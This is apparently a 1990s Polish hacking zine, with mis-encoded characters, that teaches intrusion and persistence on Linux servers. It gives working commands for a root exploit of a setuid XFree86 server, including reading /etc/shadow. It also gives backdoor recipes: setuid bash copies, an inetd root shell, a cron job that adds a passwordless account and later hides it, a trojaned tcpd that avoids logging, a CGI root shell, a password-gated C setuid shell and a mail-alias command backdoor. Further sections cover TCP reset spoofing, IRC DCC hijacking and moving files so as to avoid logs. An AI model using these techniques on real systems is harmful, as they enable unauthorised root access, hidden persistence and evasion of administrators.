- pΩtli mo┐na ostro zdeorganizowaµ sieµ :)
- Efekt polega na spoofowaniu datagram≤w TCP zawieraj▒cych w│▒czony bit
- RST lub FIN(to drugie wymaga dwustopniowego zamykania, ale po udanym
- skasowaniu po│▒czenia, mo┐na przechwyciµ datagram m≤wi▒cy o poprawnym
- zamkniΩciu). Problem, jak zwykle w spooferach TCP, polega na znalezieniu
- odpowiednich warto╢ci pul ACK i SEQ, ale skoro robimy to w sieci lokalnej
- (z jednym z komputer≤w pomiΩdzy kt≤rymi jest po│▒czenie) to mo┐emy te
- warto╢ci wysniffowaµ. NastΩpnie tylko zamieniamy je miejscami i dodajemy
- do SEQ d│ugo╢µ naszych danych (w wypadku resetowania nie ma danych),
- wype│niamy bit RST, odwracamy adresy i ju┐ mamy pakiet gotowy do wys│ania.
- Innym problemem jest szybko╢µ tej operacji, je╢li nie zd▒┐ymy wys│aµ
- pakietu przed nimi, to datagram zostanie odrzucony.
-
- 3.1 Xokienka
-
- XFree to darmowy serwer XWindows, niby dobry, wszyscy chwal▒, ale panowie
- kt≤rzy to pisali chyba nie wiedz▒ co to bezpiecze±stwo. Tak siΩ sk│ada ┐e
- Xserver musi byµ uruchamiany na prawach roota bo wykonuje kilka
- "superuserowych" czynno╢ci jak zmiana trybu graficznego i takie tam pierdo│y.
- No wiΩc ma rootoego suida, przyjrzyjmy siΩ dw≤m ciekawym opcjom:
- -config - podajemy alternatywny plik konfiguracyjny, jak XFree go
- niezrozumie to wywala b│▒d z tre╢ci▒ b│ednego fragmentu. Opur. Wywo│aj sobie
- X -config /etc/shadow|head a dowiesz siΩ o co chodzi. Niestety plik jest
- odczytywany z prawami roota i serwer pokazuje nam pierwsz▒ linijke hase│ek,
- zazwyczaj siΩ sk│ada ┐e jest tam has│o roota. Komu╢ mo┐e siΩ chcieµ to
- z│amaµ, ale popatrzmy na nastΩpna opcjΩ to zapomnimy o tej :) :
- -xkbdir - podajemy katalog jakiej╢ tam bazy, server uruchamia z tego
- katalogu plik xkbcomp do jej obs│ugi. Uruchamia z UID=0. Znowu opur.
- Podstawmy sobie taki plik /tmp/xkbcomp:
- -- CUT HERE -- tnij tu -- nozyczkami Sasza --
- #!/bin/bash
- cp /bin/bash /tmp/groah
- chmod +s /tmp/groah
- -- CUT HERE -- tnij tu -- tasakiem go --
- teraz wpisz z shella
- $ chmod +x /tmp/xkbcomp
- $ X -xkbdir /tmp
- < kupa ╢mieci >
- $ /tmp/groah
- # super, super, mam roota :)
- No to easy, tera ju┐ wiecie co robiµ. Jako zabezpieczenie proponujΩ na razie
- stworzyµ grupΩ "zaufanych" i tylko oni bΩd▒ mogli korzystaµ z XFree.
- Aha, jest jeszcze jeden spos≤b na Xy (tnx CADENCE). Zwyk│y overflow.
- ¼r≤de│ko do niego macie w ZIPie (jak to m≤wi▒ wielcy hackerzy, ZIP to
- podstawa hackeringu ;) Wystarczy zmieniµ ╢cie┐kΩ do jakiego╢ serwera z
- suidem, skompilowaµ i uruchomiµ (whoami?)
- To tyle je╢li chodzi o XFree (u mnie version 3.2-9)
-
- 4.1 Teoria prostych backdork≤w
-
- Tylne drzwi jak wszyscy wiedz▒, s▒ elementem przeciwpo┐arowej instalacji
- serwera. S▒ wymogiem paragrafu 12.4 kodeksu stra┐aka. Niestosowanie siΩ do
- tego kodeksu grozi kar▒ pozbawienia licencji administratora na okres
- nielimitowany, konsekwencje ...STOP! Czy aby na pewno? Czy tylne drzwi tak
- potrzebne we wsp≤│czesnej zabudowie typu domek, s▒ porz▒dane na serwerach?
- Odpowied╝ oczywi╢cie brzmi TAK. Po co mamy siΩ mΩczyµ nastΩpnym razem? Bawiµ
- w te same exploity, czy╢ciµ logi i tak dalej? Nie │atwiej po prostu utorowaµ
- sobie drogΩ na przysz│o╢µ? No spoko ┐e tak. Ale jak? No chyba wiecie, a jak
- nie to podam najpowszechniej stosowane sposoby na zrobienie backdor≤w.
- Zacznijmy od najprostszego, suidowy shell. Jest to takie co╢, co w katalogu
- wygl▒da mniej wiΩcej tak:
- -rwsr-xr-x 1 root root 300668 Apr 22 1997 bash
- Oczywi╢cie nie nale┐y nadawaµ backdoorowi nazwy bash, najlepiej jak▒╢
- ca│kiem niewinn▒ typu wielomian. U┐ycie tego ogranicza siΩ do uruchomienia.
- Zrobiµ te┐ jest bardzo prosta, taka sekwencja robi co nale┐y:
-
- # cp /bin/bash ~/macierze
- # chmod +s ~/macierze
- # exit
- $ ~/macierze
- # whoami
-
- Najlepszymi katalogami na tego typu rzeczy, s▒ takie do kt≤rych nikt nie
- zagl▒da i tripwire tam nie wΩszy. Mog▒ to byµ np. /usr/games, ~ftp/pub,
- /usr/lib/svgalib.
- Ten backdoor wymaga posiadania niezablokowanego konta na kompie, natomiast
- nastΩpny nie posiada tego ograniczenia (drugi co do czΩsto╢ci stosowania).
- Plik /etc/inetd.conf to konfiguracja superdemona inetd. Inetd jest takim
- prostym programem kt≤ry nas│uchuje na odpowiednich portach, i jak siΩ co╢
- dzieje to uruchamia odpowiedni program obs│uguj▒cy, przekazuj▒c jako stdin i
- stdout gniazdo do po│▒czenia. Mo┐emy tam podstawiµ co╢ z czego bΩdziemy
- p≤╝niej korzystaµ, mo┐e to byµ program daj▒cy konto, odblokowywuj▒cy telneta
- ale najrozs▒dniejszym wyj╢ciem jest wstawienie basha. Dopisuj▒c:
- tnet stream tcp nowait root /usr/sbin/tcpd /bin/bash -i
- do /etc/inetd.conf i resetuj▒c demona (killall -HUP inetd) otrzymujemy
- rootowego basha na porcie 1600. Port mo┐na zmieniµ dopisuj▒c now▒ us│ugΩ
- do /etc/services, np.
-
- satsex 666/tcp #Cyber sex through satelite
-
- NastΩpnym rodzajem back≤w s▒ cronbacki. Polegaj▒ one na czasowym wykonaniu
- jakiej╢ operacji. Mo┐e to byµ sprawdzenie o p≤│nocy czy mamy jeszcze konto,
- a jak nie to dopisanie go; mo┐e nam na okre╢lony czas (taki w kt≤rym nikogo
- nie ma na serwie) dawaµ │atwy dostΩp do superusera, ewentualnie kasowaµ nas
- z log≤w jak zapomnimy (ee, to chyba nie backdoor :). »eby co╢ dopisaµ do
- crona, u┐ywamy komendy crontab -e (hmm, nie zapamiΩtam chyba). Wpisy
- polegaj▒ na podaniu czasu (mo┐na zat▒piµ niekt≤re pola *) i komendy. Wyj╢cie
- mo┐e byµ kierowane do maila lub jakich╢ log≤w, wiΩc lepiej ┐eby wyj╢cia nie
- by│o &> /dev/null. Przyk│adowo wpisujemy do crontaba:
-
- 0 1 * * * /usr/sbin/clock.cron
-
- i tworzymy plik /usr/sbin/clock.cron o zawarto╢ci:
-
- #!/bin/bash
- if [ -z "at /etc/passwd | grep g0zer:" ]; then echo g0zer::1200:1200:RHS \
- Linux user:/tmp:/bin/ash >> /etc/passwd ; fi
-
- i codziennie o pierwszej w nocy sprawdzana jest obecno╢µ konta g0zer, jak go
- nie ma to jest dopisywane bez has│a (mo┐esz jakie╢ wstawiµ). Je╢li dopiszemy
- do clock.cron takie linijki
-
- sleep 1800
- grep -v g0zer: /etc/passwd > /tmp/shitoza
- mv /tmp/shitoza /etc/passwd
-
- to w czasie od 1.00 do 1.30 mamy konto, takie zabiegi maskuj▒ trochΩ nasz▒
- obecno╢µ, bo jak admin przejrzy w godzinach urzΩdowych /etc/passwd to nic
- dziwnego nie zobaczy.
-
- 4.2 TCP-wrapper ciΩ uchroni (od wykrycia :)
-
- Ten backdoor wykorzystuje inetd, jednak nic nie zmieniamy w pliku
- inetd.conf, nawet nie ma potrzeby killhupowania go. Jest to backdoor w
- kt≤rym podmieniamy binaria, wiΩc nale┐y siΩ upewniµ czy nie ma ┐adnych
- program≤w w stylu MD5 czy tripware. Zobaczmy co siΩ dzieje gdy nastΩpuje
- po│▒czenie z us│ug▒ obs│ugiwan▒ przez inetd.
- Nadchodzi pro╢ba o po│▒czenie z portem, inetd kt≤ry s│ucha na tym porcie
- odbiera po│▒czenie i przekazuje je do programu wskazanego przez inetd.conf.
- W wiΩkszo╢ci przypadk≤w jest tcpd kt≤ry z kolei uruchamia program obs│ugi.
- tcpd jest tcp-wrapperem, to znaczy sprawdza sk▒d nadesz│o po│▒czenie, loguje
- je za pomoc▒ sysloga i albo przepuszcza je, albo zrywa (zale┐nie od
- zawarto╢ci plik≤w hosts.allow i hosts.deny). Tak wiΩc tu nastΩpuje to czego
- nie lubimy, zostajemy zapisani w logach, a nawet odciΩci je╢li admin nas nie
- lubi. Hmmm, zast▒pmy tcpd naszym programem :) M≤j back podstawia siΩ jako
- tcpd, wcze╢niej nale┐y skopiowaµ prawdziwy tcpd jako in.tcpd (nazwΩ mo┐na
- zmieniµ). Teraz je╢li ktokolwiek normalny po│▒czy sie z dowoln▒ us│ug▒
- inetd, otrzyma z ni▒ po│▒czenie. WiΩc jak skorzystaµ z naszego backdoora?
- Postawiony tcpd sprawdza Z jakiego portu nast▒pi│o po│▒cznie, je╢li jest to
- port 999, to zamiast uruchamiania prawdziwego tcpd, podstawia nam "bash-i",
- nie zostajemy w ┐adnych logach. »eby po│▒czyµ sie z jakiego╢ portu,
- wystarczy przed connect() wywo│aµ bind() z wype│nion▒ struktur▒ sockaddr_in
- jako adres podajemy IP_ANY, a jako port 999. Wybra│em port 999 poniewa┐
- nie zostanie on nigdy u┐yty do zwyk│ego otwarcia po│▒czenie. Ja korzystam z
- tego backa przy pomocy przerobionego przeze mnie telneta, dorobi│em opcjΩ -s
- dziΩki kt≤rej mo┐na podaµ adres nadawcy. Jak kto╢ mi powie jak siΩ robi │aty
- to takow▒ zapodam, teraz mogΩ daµ tylko binarke (kto mi zaufa? ;). I jeszcze
- jedno, mo┐na to podstawiµ pod dowoln▒ us│ugΩ inetd, naprzyk│ad in.fingerd,
- wtedy w programie zamiast ╢cie┐ki do oryginalnego tcpd zapodajemy ╢cie┐kΩ do
- in.fingerd. Tyle ┐e wtedy przechdzimy przez tcpd i jeste╢my logowani :(
-
- 4.3 CGI backdoor
-
- D┐wiczki te powsta│y jak siΩ uczy│em pisaµ skrypty CGI. Jest to bardzo
- prosty remote backdoor, jednak zupe│nie nadaj▒cy siΩ do podstawowych
- czynno╢ci (np. dodanie u┐ytkownika). Do katalogu /home/httpd/cgi-bin
- wrzucamy takiego kr≤tkiego skrypta:
-
- #!/bin/bash
- echo Content-type: text/html
- echo
- /etc/httpd/conf/testcgi -i
-
- Nie zapomnij mu nadaµ uprawnie± do uruchamiania! NastΩpnie kopiujemy do
- /etc/httpd/conf/testcgi basha i dajemu mu suida. Teraz wysy│aj▒c odpowiednio
- spreparowane dane na port 80 mo┐emy robiµ dowolne rzeczy z uprawnieniami
- roota, dostajemy nawet wyj╢cie z tego co zrobili╢my. Niestety zazwyczaj
- pozostajemy w logach httpd, ale tam rzadko admini zagl▒daj▒ (ewentualnie
- mo┐na siΩ przeciez wyczy╢ciµ).
-
- 4.4 Suid bash dla wybranych
-
- Gdy zostawiamy gdzie╢ suidowego basha, nara┐amy siΩ na dwa dangery, po
- pierwsze, mo┐e byµ uruchamiany skaner suidow por≤wnuj▒cy znalezione pliki z
- shellami, po drugie ka┐dy u┐ytkownik mo┐e sobie takiego backa korzystaµ (nie
- zawsze chcemy siΩ dzieliµ). Co do tego drugiego to oczywi╢cie mo┐na nadaµ
- grupΩ sbashowi tak▒ jak ma nasz u┐ytkownik i prawa do uruchomienia tylko dla
- grupy, jednak wtedy zostawiamy ╢lad kt≤ry u┐ytkownik jest niebezpieczny.
- Lepiej gdy po uruchomieniu pyta│by siΩ o has│o (ale nie wprost) i w
- przypadku b│Ωdnej odpowiedzi pokazywa│by zmywaj▒cy komunikat, a w przypadku
- odpowiedniej odpala│by basha. Tak dzia│a poni┐szy backdoor:
-
- #include <stdio.h>
- main()
- {
- char s[20];
- printf("Enter filename: ");
- fgets(s, 20, stdin);
- if(strcmp(s,"dhskrolemjest\n")!=0) {
- fprintf(stderr, "Thats not correct filename!\n");
- return;
- }
- setuid(0);
- setgid(0);
- system("/bin/bash");
- }
- Dodatkowo ustawia uid i gid na 0 (normalnie suidy ustawiaj▒ tylko euid i
- egid). That's easy :)
-
- 5.5 Aliasy pocztowe
-
- Je╢li dodamy do /etc/aliases linijkΩ typu:
-
- dhs: |mojprog
-
- to gdy nadejdzie list, jego zawarto╢µ zostanie przekazana do tego programu.
- Mo┐liwo╢ci s▒ du┐e, wystarczy ┐e mojprog na suida na roota i ju┐ mo┐na
- wszystko. Program musi tylko omin▒µ ╢mieci na pocz▒tku typu data i adresy
- serwer≤w pocztowych (chocia┐ mo┐na i to wykorzystaµ) i zrobiµ co╢ co mu
- ka┐emy. Do tego jest backmail2.c (backmail.c jest prostszy i ma mniej
- mo┐liwo╢ci). Je╢li przyaliasujemy go do jakiego╢ adresy, to wysy│aj▒c na ten
- adres list zawieraj▒cy komendy, spowodujemy ich wykonanie, dodatkowo je╢li
- ma suida na roota to zostanie to wykonane z jego prawami! Trzeba pamiΩtaµ
- ┐eby umie╢ciµ dowolny tekst w polu Subject, bo po tym rozpoznaje gdzie siΩ
- znajduj▒ polecenia. Potem pozostaje jeszcze wyczysczenie log≤w demona
- pocztowego. Aha, po zmodyfikowaniu /etc/aliases nie zapomniej o uruchomieniu
- newaliases
-
- 6.1 DCCHiJacker
-
- Trick z serii IRCowatych. Wiecie na czym w│a╢ciwie polega po│▒czenie DCC?
- Nic prostszego, jak chcemy z kims siΩ dccn▒µ to klient IRCa:
- 1) Otwiera losowy port u siebie
- 2) Wysy│a do drugiego odpowiedni komunikat CTCP zawieraj▒cy adres IP, port
- i typ po│▒czenia
- 3) Drugi po odebraniu komunikatu albo odmawia po│▒czenia i nic nie robi,
- albo siΩ │▒czy z podanym adresem i nastΩpuje dalej najzwyklejsza transmisja.
- MiΩdzy punktami 1) i 3) up│ywa pewna ilo╢µ czasu, je╢li w tym momencie my
- po│▒czymy siΩ z danym adresem, to nie╢wiadomy IRCek z drugiej strony bΩdzie
- gada│ z nami albo prze╢le nam tajny plik :) MIRC sam z siebie nic nie poka┐e
- nawet ┐e adres siΩ r≤┐ni▒, BitchX czasami (ale te┐ nie zawsze) poka┐e ┐e
- adres jest faked, ale to chyba tylko w przypadku "rozmowy przychodz▒cej".
- Problemem pozostaje znalezienie portu, w moim programie zastosowa│em szybki
- skaning port≤w. Windy zazwyczaj │atwo oszukaµ bo maj▒ ma│y rozrzut port≤w,
- gorzej z jakimi╢ d│ugo w│▒czonymi UN*Xami (te domowy te┐ zazwyczaj maj▒ ma│e
- porty). Program do│▒czy│em (troche toporny, ale da siΩ u┐ywaµ, na razie
- tylko do DCC Chata). Widzimy na przyk│ad ┐e dw≤ch gostk≤w gada na kanale i
- chc▒ sobie przekazaµ has│o do konta, jako ┐e wszΩdzie pisz▒ ┐e DCC jest
- bezpieczniejsze ni┐ MSG, to jeden m≤wi do drugiego "choµ na DCC". W tym
- momencie odpalamy 2 Hijackery na obu i czekamy a┐ kt≤ry╢ siΩ po│▒czy, dalej
- to ju┐ improwizacja :) Aha, sam program mo┐na jeszcze wykorzystaµ do
- zwyk│ego skanowania i poszukiwania backdor≤w.
-
- 6.2 Przenoszenie bez ftpa
-
- CzΩsto chcemy co╢ przenie╢µ na schaczone konto, ale ftp zostawia nΩdzne
- logi, a nie wiadomo czy siΩ w│amiemy, albo nie chce nam siΩ ich czy╢ciµ.
- Z pomoc▒ przychodzi GPM czyli demon kt≤ry zajmujΩ sie wykorzystaniem myszki
- na konsolach virtualnych. Oczywi╢cie m≤wiΩ o linuxie, byµ mo┐e pod telnetem
- w windzie te┐ jest jakies cut/paste. No wiΩc skoro sie telnetniemy to
- piszemy:
- $ cat > nazwa_pliku
- Teraz na jednej konsoli na naszym kompie zaznaczamy programik (powienien
- siΩ mie╢ciµ na jednym ekranie, ale nie musi) myszk▒, przechodzimy na konsole
- z telnetem i wstawiamy tekst (w 3przyciskowej myszce ╢rodkowy guzik). GPM
- sam wstawia tekst tak jakby╢my go wpisali z klawiery. Potem tylko ctrl-d w
- telnecie i ju┐ mamy plik bez wykorzystania ftpa. Oczywi╢cie mo┐na
- przepisywaµ rΩcznie, no ale jak nie musimy....
- I jeszcze jedno. CzΩsto korzysta siΩ z shelli bez konsoli (vide bash -i).
- Wtedy cat > nie zawsze dzia│a, dlatego przenoszΩ troszeczkΩ inaczej.
- Za│▒czam skrypt txt2sh kt≤ry tworzy drugi skrypt kt≤ry z kolei tworzy tekst
- podany jako parametr, chodzi w tym o to ┐e je╢li zaznaczymy tego skrypta i
- przeniesiemy do uruchomionego shella to on nam wszystko │adnie zrobi bez
- u┐ycia cat >.
-
- APPENDIX A. Disclaimer
-
- No wiΩc jak siΩ pewnie domy╢leli╢cie czytaj▒c ten tekst, informacje tu
- zawarte mog▒ byµ niebezpieczne, dlatego musz▒ byµ wykorzystywane z rozwag▒,
- nie odpowiadam za ┐adne szkody materialne ani moralne wynik│e z czytania
- tego (kolega wyskoczy│ z okna czytaj▒c, na szczΩ╢cie to by│ parter ;).
- Przedstawi│em tu rzeczy, kt≤re przynajmniej wg mnie s▒ cenne i w│o┐y│em w
- nie sporo pracy. No to tyle bo mi siΩ ju┐ p│akaµ chce 8-}
-
- APPENDIX B. Greets from Maxiu
-
- Na wstΩpie chcia│bym podziΩkowaµ Pimposhowi za wszystko co dla mnie zrobi│,
- w tym za to ┐e nakorzysta│em siΩ u niego za darmo z inetu. Mocno dziΩkujΩ
- K0curowi (Humungous, Fungous) jak ┐e jest pierwsz▒ osob▒ kt≤ra siΩ odezwa│a
- do mnie na ircu, on mi pierwszy pokaza│ winnuka (niewa┐ne ┐e w chamski
- spos≤b ;), narobi│ mi ╢liny na linuxa i pierwszy pokaza│ wynik dzia│ania
- exploita (w│ama│ sie do mnie sperlem i zresetowa│ modem). Skoro ju┐ lece w
- kolejno╢ci czasu kiedy pozna│em, to nastΩpny jest Pablo, wprowadzi│ mnie w
- ╢wiat eggdropa i od niego dosta│em pierwszy raz opa. Teraz czas na lcamtufa,
- pozna│em go na kanale #wariaci, nie wiedzia│em wtedy czym siΩ zajmuje,
- gadali╢my o trybie chronionym, po pewnym czasie podes│a│ mi P0werfaq, potem
- pierwszy numer h@ckpl zin, rozbudzaj▒c we mnie pragnienie haczenia. Dalej to
- nie pamiΩtam w jakiej by│o kolejno╢ci, wiΩc bΩdzie bez kolejno╢ci. Tnx to
- Pan_, on pierwszy zgodzi│ siΩ wypr≤bowaµ mojego pogs.exe, big TNX to
- shmastah, jego w│am na pande prze┐ywa│em do╢µ d│ugo, tnx to !brainwat za
- dekodera do base64 i za pozytywne opinie o tym FUCKU, tnx za wspania│y
- imappack to Luke_Skyw, tnx za xploita na Xy to CADENCE, tnx za wszytko to
- [ULT0R], [TwT], nth, Trolinka, Ang3l i ca│ej reszty z #hackpl (especcialy
- DHS)
-